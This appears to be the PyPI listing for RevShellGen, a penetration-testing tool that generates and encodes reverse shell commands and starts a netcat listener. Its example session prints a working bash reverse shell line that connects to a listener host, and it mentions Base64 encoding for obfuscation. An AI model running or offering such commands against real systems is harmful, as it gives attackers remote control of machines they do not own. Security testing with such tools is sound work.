Skip to main content

Reverse Shell Generator - Automate reverse shell generation with style

Project description

🚀 RevShellGen

Reverse Shell Generator

Python License Platform Stars

CI Tests PyPI Downloads

Automate reverse shell generation with style
Generate, encode, and catch reverse shells without the hassle


FeaturesInstallationUsageShell TypesContributing

📖 About

RevShellGen is a powerful command-line tool that simplifies the process of generating reverse shell commands. No more looking up syntax, no more manual encoding, no more configuration headaches. This tool handles it all with an intuitive interface.

🎯 Key Features

  • 🖥️ Interactive CLI - User-friendly menu-driven interface
  • 🔄 Automatic encoding - URL and Base64 encoding support
  • 📋 Clipboard integration - Auto-copy generated commands
  • 🌐 Network detection - Automatic IP address discovery
  • 🎨 Multiple shell types - Bash, Python, Netcat, PowerShell, and more
  • 🔊 Built-in listener - Automatic netcat/ncat listener setup
  • 🍎 Cross-platform - Full support for Linux and macOS
  • 📚 TTY upgrade guide - Comprehensive instructions for shell upgrades

🚀 Quick Start

Option 1: Install from PyPI (Coming Soon)

# Install from PyPI
pip install revshellgen

# Run the tool
revshellgen

Option 2: Install from Source

# Clone the repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Install dependencies
pip3 install -r requirements.txt

# Run the tool
python3 revshellgen.py  # or python3 revshellgen_cli.py

📦 Installation

Prerequisites

  • Python 3.6 or higher
  • pip (Python package manager)

Dependencies

RevShellGen requires the following Python packages:

Package Purpose
pyperclip Clipboard operations
colorama Terminal colors
readchar Interactive key input
netifaces Network interface detection

Installation Methods

Method 1: Using requirements.txt (Simplest)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Method 2: Using setup.py (Traditional)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Method 3: Virtual environment (Recommended for isolation)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Method 4: Manual installation
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Method 5: User installation (no sudo required)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Platform-Specific Notes

🐧 Linux

# You may need to install python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Install ncat for better listener support
brew install nmap  # Includes ncat

💻 Usage

Basic Workflow

  1. Start the tool

    python3 revshellgen.py
    
  2. Configure your reverse shell

    • Select your IP address (auto-detected)
    • Choose a port (e.g., 4444, 9001)
    • Select shell type (bash, python, etc.)
    • Choose encoding (none, URL, Base64)
  3. Generated command is automatically copied to clipboard

  4. Start the listener (automatic)

  5. Execute the command on the target machine

📸 Screenshots


Shell Selection

Command Generation

🐚 Supported Shells

Shell Type Description Platform
Bash Bash TCP reverse shell Linux/Unix
Python Python-based reverse shell Cross-platform
Netcat Traditional nc reverse shell Linux/Unix
Netcat mkfifo Netcat with named pipe Linux/Unix
Perl Perl-based reverse shell Cross-platform
PHP PHP reverse shell Cross-platform
Ruby Ruby-based reverse shell Cross-platform
Java Java reverse shell Cross-platform
Telnet Telnet reverse shell Linux/Unix
PowerShell Windows PowerShell Windows

🔧 Advanced Features

TTY Shell Upgrade

RevShellGen now includes comprehensive TTY upgrade instructions. After catching a shell, the tool provides:

  • Step-by-step PTY spawn methods
  • Terminal size detection and configuration
  • Multiple upgrade techniques for different environments
  • Troubleshooting tips for common issues
  • Quick reference commands

Encoding Options

  • None - Raw command output
  • URL Encode - For web application exploitation
  • Base64 - For command obfuscation

Listener Options

The tool automatically detects and uses the appropriate netcat variant:

  • ncat (preferred, from nmap package)
  • nc (traditional netcat)
  • macOS-specific nc syntax support

📝 Example Session

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444

---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.

Development Setup

# Clone your fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# Create a branch
git checkout -b feature/your-feature-name

# Make your changes and commit
git add .
git commit -m "Add your feature"

# Push to your fork
git push origin feature/your-feature-name

# Create a Pull Request

🐛 Issues & Support

Found a bug or have a suggestion? Please open an issue on GitHub.

📜 License

This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.

⚠️ Disclaimer

This tool is intended for authorized penetration testing and educational purposes only.

The use of this tool against systems you do not own or have explicit permission to test is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

🙏 Acknowledgments


Made with ❤️ by t0thkr1s
Star ⭐ this repository if you find it useful!

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

revshellgen-2.0.0.tar.gz (26.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

revshellgen-2.0.0-py3-none-any.whl (24.7 kB view details)

Uploaded Python 3

File details

Details for the file revshellgen-2.0.0.tar.gz.

File metadata

  • Download URL: revshellgen-2.0.0.tar.gz
  • Upload date:
  • Size: 26.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for revshellgen-2.0.0.tar.gz
Algorithm Hash digest
SHA256 76c3f8b16617e4d4c05344ec8714512e286a405d8e91effc8a60cbde4717b34b
MD5 7f27c21f8a6087428212b0d07354b48b
BLAKE2b-256 fdddebaa80899ea01a007679c1ef283cd33f3ef0faf2583ab79bf71e2380ab6c

See more details on using hashes here.

Provenance

The following attestation bundles were made for revshellgen-2.0.0.tar.gz:

Publisher: python-publish.yml on t0thkr1s/revshellgen

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file revshellgen-2.0.0-py3-none-any.whl.

File metadata

  • Download URL: revshellgen-2.0.0-py3-none-any.whl
  • Upload date:
  • Size: 24.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for revshellgen-2.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 e2d9e8687f9fa7ee8d91752741184a31aaa984a30af65b524a82d176714a5161
MD5 700ce97ffe27f98482eb8ca6152378aa
BLAKE2b-256 650f5062d6c8ae7b56597017f207782b200e4f335695527bbdfb4edeed181c1d

See more details on using hashes here.

Provenance

The following attestation bundles were made for revshellgen-2.0.0-py3-none-any.whl:

Publisher: python-publish.yml on t0thkr1s/revshellgen

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page